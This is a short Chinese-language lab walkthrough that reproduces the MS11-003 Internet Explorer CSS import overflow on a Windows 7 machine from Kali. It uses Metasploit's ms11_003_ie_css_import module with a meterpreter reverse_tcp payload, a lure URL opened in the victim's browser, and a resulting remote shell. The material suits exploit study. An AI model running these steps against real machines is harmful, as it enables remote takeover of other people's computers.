MS11_003漏洞复现
MS11_003(windows7IE溢出攻击)
先配置环境
kali(攻击者);
windows7
标题在Windows7查看IP地址
命令：ipconfig
Windows7 IP地址：192.168.164.155
在kali中使用ping命令查看是否与主机相通
打开msfconsole模块
寻找 ms11_003漏洞并使用
search ms11_003
use exploit/windows/browser/ms11_003_ie_css_import
查看payload
show payloads
选择其中的
set payloads windows/meterpreter/reverse_tcp
查看kali得ip
设置参数（后面跟的IP地址为kali IP）
uripath后面得参数随意写即可
运行 run复制结果中的 http://192.168.164.128:8080/00,到Windows7的ie浏览器中进行粘贴
出现相同情况则为成功连接会话
输入sessions 查看会话id
随便选取一个ID（若选取的不行，换下一个即可）
然后输入shell即可获得Windows7shell输入dir即可遍历目录
到这里复现完成。。。。